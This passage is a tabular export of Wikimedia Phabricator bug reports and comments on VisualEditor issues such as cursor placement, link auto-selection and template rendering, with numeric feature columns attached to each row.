I can't reproduce this as written (for wmf6 or wmf7 on Mac or Linux, don't have Windows to test on). We did change the behaviour of the toolbar a little in wmf5, which may explain.

However, it /is/ possible using the cursor keys to put the cursor underneath the toolbar when scrolled down so that the user can't see where it is. Will change this bug to reflect that, but feel free to revert if you can reproduce.",,,1371167210,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,2.0,2.5,0.0,0.0,0.0,1.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,4.5,12.0,0.0,3.5,0.0,1.0,0.0,2.5,0.0,0.0,1.0,2.0,1.0,0.0,2.5,2.5,2.0,2.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,5.0,1.0,7.5,4.5,2.0,8.5,0.0,0.0,0.0,0.5,9.0,0.0,0.5,0.0,3.5,12.0,5.0,0.0,0.0,0.0,3.5,0.0,2.5,0.5,0.0,1.0,0.0,0.0,0.0,3.50762987012987,0.7569805194805195,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I can't reproduce this as written (for wmf6 or wmf7 on Mac or Linux, don't have Windows to test on). We did change the behaviour of the toolbar a little in wmf5, which may explain.

However, it /is/ possible using the cursor keys to put the cursor underneath the toolbar when scrolled down so that the user can't see where it is. Will change this bug to reflect that, but feel free to revert if you can reproduce."
50680,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"Steps to reproduce bug:

* Edit a page and add the following content: `Hello ""<code>world</code>"".`
* Place cursor before the first quote, then use the arrow keys to move right (after the quote, before W for world).
* Insert a character.

Expected:

The place where the character appears, and the position of the blinking cursor should be the same. In actually, this is not the case.

The cursor is blinking **inside** the code annotation (close to the W, within the padded area of the code block).

The added character appeared **outside** the code annotation (close to the quote, outside the padded area of the code block).

Screenshot of problem (from May 2013):
{F10475}

Video capture (July 2018):
{F23391729}",Low,25.0,1369144560,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-4iulhoim62acub7cms4q,task_description,open,True,c1,1,True,False,,-6,,0.0,0.0,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,9.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,2.0,0.5,0.0,0.0,1.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,17.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,12.0,1.5,10.0,0.5,1.0,12.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,9.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,3.5390096973258887,0.587422862180429,"Steps to reproduce bug:

* Edit a page and add the following content: CODE
* Place cursor before the first quote, then use the arrow keys to move right (after the quote, before W for world).
* Insert a character.

Expected:

The place where the character appears, and the position of the blinking cursor should be the same. In actually, this is not the case.

The cursor is blinking **inside** the code annotation (close to the W, within the padded area of the code block).

The added character appeared **outside** the code annotation (close to the quote, outside the padded area of the code block).

Screenshot of problem (from May 2013):
{F10475}

Video capture (July 2018):
{F23391729}"
1099409,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"Back in 2013, a similar issue exited with links and their labels. Both issues were cause due to a limitation that exists in browsers by default (there is only 1 logical position, and where it happens to be is browser-dependent).

However, the link annotation issue has since been fixed by the introduction of virtual positions within the VisualEditor surface to decide whether the user is inside or outside a node. Perhaps the same could be applied to the code annotation?",,,1530906618,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4iulhoim62acub7cms4q,task_subcomment,,True,c1,3,True,,,261,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,16.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,8.0,5.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,16.0,1.0,1.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,4.282608695652174,0.7608695652173914,"Back in 2013, a similar issue exited with links and their labels. Both issues were cause due to a limitation that exists in browsers by default (there is only 1 logical position, and where it happens to be is browser-dependent).

However, the link annotation issue has since been fixed by the introduction of virtual positions within the VisualEditor surface to decide whether the user is inside or outside a node. Perhaps the same could be applied to the code annotation?"
1099408,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"Back in 2013, a similar issue exited with links and their labels. Both issues were cause due to a limitation that exists in browsers by default (there is only 1 logical position, and where it happens to be is browser-dependent).

However, the link annotation issue has since been fixed by the introduction of virtual positions within the VisualEditor surface to decide whether the user is inside or outside a node. Perhaps the same could be applied to other annotations?",,,1530906360,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4iulhoim62acub7cms4q,task_subcomment,,True,c1,3,True,,,261,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,16.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,8.0,5.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,16.0,1.0,1.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,4.318681318681318,0.7802197802197802,"Back in 2013, a similar issue exited with links and their labels. Both issues were cause due to a limitation that exists in browsers by default (there is only 1 logical position, and where it happens to be is browser-dependent).

However, the link annotation issue has since been fixed by the introduction of virtual positions within the VisualEditor surface to decide whether the user is inside or outside a node. Perhaps the same could be applied to other annotations?"
213069,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"**orbit** wrote:

Yeah, this is reproducible. No adjustment to margin or padding of the alien (the code element) is able to fix this issue though. We're using native browser selection rendering, and this is a side-effect.

One possible future fix would be to allow the cursor to be placed at the first and last offset of protected nodes (contenteditable would have to be set to true) to give the desired cursor rendering. Any keypress would have to first fixup the selection.

I think this is likely a minor occurrence and making such a dramatic change to protectedNodes is out-of-scope for now.",,,1369267184,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4iulhoim62acub7cms4q,task_subcomment,,True,c1,1,False,,,-6,,1.0,0.0,0.0,1.5,0.0,8.0,3.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,3.0,10.5,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.5,1.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.5,0.0,1.0,2.5,0.0,2.0,0.0,0.0,0.0,13.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,5.0,3.5,0.0,2.5,10.0,0.0,0.0,0.0,0.0,6.5,0.5,0.5,0.0,1.5,10.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,3.890625,0.734375,"**orbit** wrote:

Yeah, this is reproducible. No adjustment to margin or padding of the alien (the code element) is able to fix this issue though. We're using native browser selection rendering, and this is a side-effect.

One possible future fix would be to allow the cursor to be placed at the first and last offset of protected nodes (contenteditable would have to be set to true) to give the desired cursor rendering. Any keypress would have to first fixup the selection.

I think this is likely a minor occurrence and making such a dramatic change to protectedNodes is out-of-scope for now."
50656,VisualEditor: Check for and warn user on unexpected badtoken event says they're now logged out,"When ever the user does a load, save, diff (, other?) action with the server, we should check for whether the new edit token is an anonymous one when we're expecting the user to be logged in, so we can warn the user that they're now logged out (to prevent them asking for their IP to be over-sighted, etc.).

There's potentially utility in doing this in core (for the wikitext editor) as well.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1369077780,1692047069.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-owjlus7kvzpryeunybdk,task_description,resolved,True,c1,1,True,False,False,-6,,0.0,0.0,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.5,0.0,5.5,9.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,2.5,0.5,4.0,0.0,0.0,0.5,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,4.5,2.0,4.0,2.5,0.0,5.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,4.0,9.5,1.0,0.5,0.0,0.0,4.0,0.0,1.0,1.0,1.0,2.5,0.0,0.0,2.0,3.5625,0.7232142857142857,"When ever the user does a load, save, diff (, other?) action with the server, we should check for whether the new edit token is an anonymous one when we're expecting the user to be logged in, so we can warn the user that they're now logged out (to prevent them asking for their IP to be over-sighted, etc.).

There's potentially utility in doing this in core (for the wikitext editor) as well.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2175191,VisualEditor: Check for and warn user on unexpected badtoken event says they're now logged out,"This feature has been implemented soon after this task was filed, in July 2013, in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/73446, and still exists today with minor changes.

{F37480899}

(I found this task because we're revisiting the messages for IP Masking: T343848.)",,,1692047069,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-owjlus7kvzpryeunybdk,task_subcomment,,True,c1,3,True,,,528,,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,12.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9183673469387754,0.8775510204081632,"This feature has been implemented soon after this task was filed, in July 2013, in URL and still exists today with minor changes.

{F37480899}

(I found this task because we're revisiting the messages for IP Masking: T343848.)"
211724,VisualEditor: Check for and warn user on unexpected badtoken event says they're now logged out,Bug 48657 is the request for the same functionality in core's wikitext editor.,,,1369078265,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-owjlus7kvzpryeunybdk,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,Bug 48657 is the request for the same functionality in core's wikitext editor.
50555,"VisualEditor: Category sort key setting not done on click out, only on return","In the Category inspector, start setting an over-ride for a category's sort key, but instead of pressing return, click out; no sort key is set. If you change and click ""apply"", it seems like it should apply but doesn't, confusingly.

Thoughts?

--------------------------
**Version**: unspecified
**Severity**: trivial",Low,25.0,1368745320,1370985982.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lunpphbvjkp5qsin6ywz,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,8.0,1.0,4.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,8.0,1.0,1.0,3.0,0.0,4.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6933333333333334,0.7066666666666667,"In the Category inspector, start setting an over-ride for a category's sort key, but instead of pressing return, click out; no sort key is set. If you change and click ""apply"", it seems like it should apply but doesn't, confusingly.

Thoughts?

--------------------------
**Version**: unspecified
**Severity**: trivial"
230688,"VisualEditor: Category sort key setting not done on click out, only on return",Now merged.,,,1370985956,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lunpphbvjkp5qsin6ywz,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
230682,"VisualEditor: Category sort key setting not done on click out, only on return",Related URL: https://gerrit.wikimedia.org/r/67920 (Gerrit Change I256d2b21bc2306959f6d6a0373386054b21dadfe),,,1370904596,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lunpphbvjkp5qsin6ywz,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I256d2b21bc2306959f6d6a0373386054b21dadfe)
50487,VisualEditor: Auto-selection covers adjacent text over punctuation,"This seems weird to me, but it still might be intentional.

If you put the caret immediately after a sentence ending in a period (e.g. the last sentence of the lede from https://en.wikipedia.org/w/index.php?title=Kono_Statement_of_1993&oldid=546398254&veaction=edit), then click the Link button, it tries to link the last word, including the punctuation.

I would expect it to let you create an new link, without assuming any existing anchor.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1368583260,1368978683.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-3tivkrvvx7tiwvalguwy,task_description,resolved,True,c1,1,True,False,True,-7,,1.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,2.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,8.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,10.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,3.902173913043478,0.6739130434782609,"This seems weird to me, but it still might be intentional.

If you put the caret immediately after a sentence ending in a period (e.g. the last sentence of the lede from URL then click the Link button, it tries to link the last word, including the punctuation.

I would expect it to let you create an new link, without assuming any existing anchor.

--------------------------
**Version**: unspecified
**Severity**: normal"
226291,VisualEditor: Auto-selection covers adjacent text over punctuation,Merged in master; will go out as part of wmf5.,,,1368978683,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,1.0,Merged in master; will go out as part of wmf5.
226284,VisualEditor: Auto-selection covers adjacent text over punctuation,Related URL: https://gerrit.wikimedia.org/r/64481 (Gerrit Change I2408229cddd876ff8fe55a9eddf9bac87a61457e),,,1368888486,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2408229cddd876ff8fe55a9eddf9bac87a61457e)
226278,VisualEditor: Auto-selection covers adjacent text over punctuation,"Bug.

Because null (the value we get for the end of the sentence) is silently converted to the string 'null' by RegExp#test (!?) and so we think it's an 'ALetter' which triggers the ALetter-MidNumLet-ALetter rule for mid-word punctuation, and so no break is returned.",,,1368888212,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,11.0,2.0,3.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,8.0,2.0,6.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.515625,0.6875,"Bug.

Because null (the value we get for the end of the sentence) is silently converted to the string 'null' by RegExp#test (!?) and so we think it's an 'ALetter' which triggers the ALetter-MidNumLet-ALetter rule for mid-word punctuation, and so no break is returned."
226275,VisualEditor: Auto-selection covers adjacent text over punctuation,"This is indeed intentional (and took some time to get right). If the cursor is in, or directly adjacent to, a word, so that you can link a word quickly as a keyboard user without having to use a mouse or do keyboard-based shift-selection.

However, this is meant to not trigger when you're not in the ""context"" of a word, so it does some fancy language-dependent Unicode whitespace detection; it should be doing this for punctuation but apparently isn't, so referring to Ed to investigate.",,,1368727707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,True,,,-7,,1.5,0.0,0.0,1.0,3.0,3.5,1.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,11.0,0.0,3.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.5,2.0,2.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,8.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,4.5,4.0,4.0,3.5,2.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,11.0,2.0,0.0,2.0,0.0,3.5,0.0,1.0,3.0,0.0,2.5,0.0,0.0,0.0,3.7592592592592595,0.787037037037037,"This is indeed intentional (and took some time to get right). If the cursor is in, or directly adjacent to, a word, so that you can link a word quickly as a keyboard user without having to use a mouse or do keyboard-based shift-selection.

However, this is meant to not trigger when you're not in the ""context"" of a word, so it does some fancy language-dependent Unicode whitespace detection; it should be doing this for punctuation but apparently isn't, so referring to Ed to investigate."
50461,VisualEditor: Image in template gets cut off,"When editing http://de.wikipedia.org/wiki/Wikidata the top of the Wikimedia logo in the template at the bottom of the page is cut off. (It might also be hidden behind the grey bar or something.)

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1368550980,1701795362.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-qglalluk4kbrg2flbvzv,task_description,resolved,True,c1,1,True,False,False,-7,,0.0,2.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7222222222222223,0.7037037037037037,"When editing URL the top of the Wikimedia logo in the template at the bottom of the page is cut off. (It might also be hidden behind the grey bar or something.)

--------------------------
**Version**: unspecified
**Severity**: normal"
2241865,VisualEditor: Image in template gets cut off,"Not happening for me in Chrome or FF. Assuming this was a browser bug that has since been fixed, but please re-open if it is still happening.",,,1701795362,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,3,True,,,544,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,12.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,9.0,0.0,0.0,0.0,3.59375,0.9375,"Not happening for me in Chrome or FF. Assuming this was a browser bug that has since been fixed, but please re-open if it is still happening."
224867,VisualEditor: Image in template gets cut off,"This happens in any article that uses the following template with an image, which is lots and lots and lots
https://de.wikipedia.org/wiki/Vorlage:Navigationsleiste

https://de.wikipedia.org/wiki/Bezirk_Altona?veaction=edit

And the German template appears on many other languages as well.
https://bar.wikipedia.org/wiki/Wikibooks?veaction=edit",,,1374479589,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,3,False,,,3,,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,15.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,3.925,0.775,"This happens in any article that uses the following template with an image, which is lots and lots and lots
URL

URL

And the German template appears on many other languages as well.
URL"
224861,VisualEditor: Image in template gets cut off,"We aim to render templates as similarly as possible, but there are some exceptions at this time. One such exception is that protected elements and their child elements positioned as 'absolute' or 'fixed' will be changed to relative. Protected elements are usually non-text or generated elements like images or templates.

Specifically in this case the CSS rule for elements that match '.ve-ce-alienNode, .ve-ce-alienNode *' is being used to set all elements relative. In a more recent version of the code this rule is now renamed to '.ve-ce-protectedNode, .ve-ce-protectedNode *' but it's effect is the same.

We should probably be only applying relative positioning to elements that are actually positioned 'absolute' or 'fixed', because it's currently being applied to an element that's positioned 'static'.",,,1368729636,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,1,False,,,-7,,1.0,0.0,0.0,3.5,0.0,9.5,1.5,0.5,0.0,0.0,3.0,8.0,0.0,0.5,0.5,1.0,0.5,5.5,8.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.5,6.0,0.0,0.0,0.0,1.5,0.5,8.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,0.0,3.0,6.0,3.5,1.0,3.5,5.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,8.5,2.0,0.0,8.0,0.0,3.0,0.0,1.5,1.0,0.0,0.5,0.5,0.0,0.0,4.052941176470588,0.6588235294117647,"We aim to render templates as similarly as possible, but there are some exceptions at this time. One such exception is that protected elements and their child elements positioned as 'absolute' or 'fixed' will be changed to relative. Protected elements are usually non-text or generated elements like images or templates.

Specifically in this case the CSS rule for elements that match '.ve-ce-alienNode, .ve-ce-alienNode *' is being used to set all elements relative. In a more recent version of the code this rule is now renamed to '.ve-ce-protectedNode, .ve-ce-protectedNode *' but it's effect is the same.

We should probably be only applying relative positioning to elements that are actually positioned 'absolute' or 'fixed', because it's currently being applied to an element that's positioned 'static'."
224853,VisualEditor: Image in template gets cut off,"Created attachment 12328
screenshot of the issue in chromium in kubuntu

